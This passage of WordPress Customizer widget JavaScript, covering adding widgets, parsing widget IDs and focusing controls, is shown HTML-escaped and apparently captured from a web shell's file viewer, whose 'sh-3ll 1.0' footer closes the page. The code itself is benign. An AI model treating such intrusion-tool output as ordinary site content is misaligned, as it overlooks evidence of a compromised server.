				widgetsTitle.attr( &#039;aria-hidden&#039;, &#039;false&#039; );
			}
		},

		/**
		 * Get the widget_form Customize controls associated with the current sidebar.
		 *
		 * @since 3.9.0
		 * @return {wp.customize.controlConstructor.widget_form[]}
		 */
		getWidgetFormControls: function() {
			var formControls = [];

			_( this.setting() ).each( function( widgetId ) {
				var settingId = widgetIdToSettingId( widgetId ),
					formControl = api.control( settingId );
				if ( formControl ) {
					formControls.push( formControl );
				}
			} );

			return formControls;
		},

		/**
		 * @param {string} widgetId or an id_base for adding a previously non-existing widget.
		 * @return {Object|false} widget_form control instance, or false on error.
		 */
		addWidget: function( widgetId ) {
			var self = this, controlHtml, $widget, controlType = &#039;widget_form&#039;, controlContainer, controlConstructor,
				parsedWidgetId = parseWidgetId( widgetId ),
				widgetNumber = parsedWidgetId.number,
				widgetIdBase = parsedWidgetId.id_base,
				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;

			if ( ! widget ) {
				return false;
			}

			if ( widgetNumber &amp;&amp; ! widget.get( &#039;is_multi&#039; ) ) {
				return false;
			}

			// Set up new multi widget.
			if ( widget.get( &#039;is_multi&#039; ) &amp;&amp; ! widgetNumber ) {
				widget.set( &#039;multi_number&#039;, widget.get( &#039;multi_number&#039; ) + 1 );
				widgetNumber = widget.get( &#039;multi_number&#039; );
			}

			controlHtml = $( &#039;#widget-tpl-&#039; + widget.get( &#039;id&#039; ) ).html().trim();
			if ( widget.get( &#039;is_multi&#039; ) ) {
				controlHtml = controlHtml.replace( /&lt;[^&lt;&gt;]+&gt;/g, function( m ) {
					return m.replace( /__i__|%i%/g, widgetNumber );
				} );
			} else {
				widget.set( &#039;is_disabled&#039;, true ); // Prevent single widget from being added again now.
			}

			$widget = $( controlHtml );

			controlContainer = $( &#039;&lt;li/&gt;&#039; )
				.addClass( &#039;customize-control&#039; )
				.addClass( &#039;customize-control-&#039; + controlType )
				.append( $widget );

			// Remove icon which is visible inside the panel.
			controlContainer.find( &#039;&gt; .widget-icon&#039; ).remove();

			if ( widget.get( &#039;is_multi&#039; ) ) {
				controlContainer.find( &#039;input[name=&quot;widget_number&quot;]&#039; ).val( widgetNumber );
				controlContainer.find( &#039;input[name=&quot;multi_number&quot;]&#039; ).val( widgetNumber );
			}

			widgetId = controlContainer.find( &#039;[name=&quot;widget-id&quot;]&#039; ).val();

			controlContainer.hide(); // To be slid-down below.

			settingId = &#039;widget_&#039; + widget.get( &#039;id_base&#039; );
			if ( widget.get( &#039;is_multi&#039; ) ) {
				settingId += &#039;[&#039; + widgetNumber + &#039;]&#039;;
			}
			controlContainer.attr( &#039;id&#039;, &#039;customize-control-&#039; + settingId.replace( /\]/g, &#039;&#039; ).replace( /\[/g, &#039;-&#039; ) );

			// Only create setting if it doesn&#039;t already exist (if we&#039;re adding a pre-existing inactive widget).
			isExistingWidget = api.has( settingId );
			if ( ! isExistingWidget ) {
				settingArgs = {
					transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( &#039;id_base&#039; ) ] ? &#039;postMessage&#039; : &#039;refresh&#039;,
					previewer: this.setting.previewer
				};
				setting = api.create( settingId, settingId, &#039;&#039;, settingArgs );
				setting.set( {} ); // Mark dirty, changing from &#039;&#039; to {}.
			}

			controlConstructor = api.controlConstructor[controlType];
			widgetFormControl = new controlConstructor( settingId, {
				settings: {
					&#039;default&#039;: settingId
				},
				content: controlContainer,
				sidebar_id: self.params.sidebar_id,
				widget_id: widgetId,
				widget_id_base: widget.get( &#039;id_base&#039; ),
				type: controlType,
				is_new: ! isExistingWidget,
				width: widget.get( &#039;width&#039; ),
				height: widget.get( &#039;height&#039; ),
				is_wide: widget.get( &#039;is_wide&#039; )
			} );
			api.control.add( widgetFormControl );

			// Make sure widget is removed from the other sidebars.
			api.each( function( otherSetting ) {
				if ( otherSetting.id === self.setting.id ) {
					return;
				}

				if ( 0 !== otherSetting.id.indexOf( &#039;sidebars_widgets[&#039; ) ) {
					return;
				}

				var otherSidebarWidgets = otherSetting().slice(),
					i = _.indexOf( otherSidebarWidgets, widgetId );

				if ( -1 !== i ) {
					otherSidebarWidgets.splice( i );
					otherSetting( otherSidebarWidgets );
				}
			} );

			// Add widget to this sidebar.
			sidebarWidgets = this.setting().slice();
			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
				sidebarWidgets.push( widgetId );
				this.setting( sidebarWidgets );
			}

			controlContainer.slideDown( function() {
				if ( isExistingWidget ) {
					widgetFormControl.updateWidget( {
						instance: widgetFormControl.setting()
					} );
				}
			} );

			return widgetFormControl;
		}
	} );

	// Register models for custom panel, section, and control types.
	$.extend( api.panelConstructor, {
		widgets: api.Widgets.WidgetsPanel
	});
	$.extend( api.sectionConstructor, {
		sidebar: api.Widgets.SidebarSection
	});
	$.extend( api.controlConstructor, {
		widget_form: api.Widgets.WidgetControl,
		sidebar_widgets: api.Widgets.SidebarControl
	});

	/**
	 * Init Customizer for widgets.
	 */
	api.bind( &#039;ready&#039;, function() {
		// Set up the widgets panel.
		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
			collection: api.Widgets.availableWidgets
		});

		// Highlight widget control.
		api.previewer.bind( &#039;highlight-widget-control&#039;, api.Widgets.highlightWidgetFormControl );

		// Open and focus widget control.
		api.previewer.bind( &#039;focus-widget-control&#039;, api.Widgets.focusWidgetFormControl );
	} );

	/**
	 * Highlight a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.highlightSectionAndControl();
		}
	},

	/**
	 * Focus a widget control.
	 *
	 * @param {string} widgetId
	 */
	api.Widgets.focusWidgetFormControl = function( widgetId ) {
		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );

		if ( control ) {
			control.focus();
		}
	},

	/**
	 * Given a widget control, find the sidebar widgets control that contains it.
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
		var foundControl = null;

		// @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl().
		api.control.each( function( control ) {
			if ( control.params.type === &#039;sidebar_widgets&#039; &amp;&amp; -1 !== _.indexOf( control.setting(), widgetId ) ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
	 *
	 * @param {string} widgetId
	 * @return {Object|null}
	 */
	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
		var foundControl = null;

		// @todo We can just use widgetIdToSettingId() here.
		api.control.each( function( control ) {
			if ( control.params.type === &#039;widget_form&#039; &amp;&amp; control.params.widget_id === widgetId ) {
				foundControl = control;
			}
		} );

		return foundControl;
	};

	/**
	 * Initialize Edit Menu button in Nav Menu widget.
	 */
	$( document ).on( &#039;widget-added&#039;, function( event, widgetContainer ) {
		var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
		parsedWidgetId = parseWidgetId( widgetContainer.find( &#039;&gt; .widget-inside &gt; .form &gt; .widget-id&#039; ).val() );
		if ( &#039;nav_menu&#039; !== parsedWidgetId.id_base ) {
			return;
		}
		widgetControl = api.control( &#039;widget_nav_menu[&#039; + String( parsedWidgetId.number ) + &#039;]&#039; );
		if ( ! widgetControl ) {
			return;
		}
		navMenuSelect = widgetContainer.find( &#039;select[name*=&quot;nav_menu&quot;]&#039; );
		editMenuButton = widgetContainer.find( &#039;.edit-selected-nav-menu &gt; button&#039; );
		if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
			return;
		}
		navMenuSelect.on( &#039;change&#039;, function() {
			if ( api.section.has( &#039;nav_menu[&#039; + navMenuSelect.val() + &#039;]&#039; ) ) {
				editMenuButton.parent().show();
			} else {
				editMenuButton.parent().hide();
			}
		});
		editMenuButton.on( &#039;click&#039;, function() {
			var section = api.section( &#039;nav_menu[&#039; + navMenuSelect.val() + &#039;]&#039; );
			if ( section ) {
				focusConstructWithBreadcrumb( section, widgetControl );
			}
		} );
	} );

	/**
	 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
	 *
	 * This overrides the back button to serve the purpose of breadcrumb navigation.
	 *
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
	 */
	function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
		focusConstruct.focus();
		function onceCollapsed( isExpanded ) {
			if ( ! isExpanded ) {
				focusConstruct.expanded.unbind( onceCollapsed );
				returnConstruct.focus();
			}
		}
		focusConstruct.expanded.bind( onceCollapsed );
	}

	/**
	 * @param {string} widgetId
	 * @return {Object}
	 */
	function parseWidgetId( widgetId ) {
		var matches, parsed = {
			number: null,
			id_base: null
		};

		matches = widgetId.match( /^(.+)-(\d+)$/ );
		if ( matches ) {
			parsed.id_base = matches[1];
			parsed.number = parseInt( matches[2], 10 );
		} else {
			// Likely an old single widget.
			parsed.id_base = widgetId;
		}

		return parsed;
	}

	/**
	 * @param {string} widgetId
	 * @return {string} settingId
	 */
	function widgetIdToSettingId( widgetId ) {
		var parsed = parseWidgetId( widgetId ), settingId;

		settingId = &#039;widget_&#039; + parsed.id_base;
		if ( parsed.number ) {
			settingId += &#039;[&#039; + parsed.number + &#039;]&#039;;
		}

		return settingId;
	}

})( window.wp, jQuery );
</pre></td></tr><center><br>sh-3ll <font color="green">1.0</font></center></body><?xml version="1.0" encoding="UTF-8"?>
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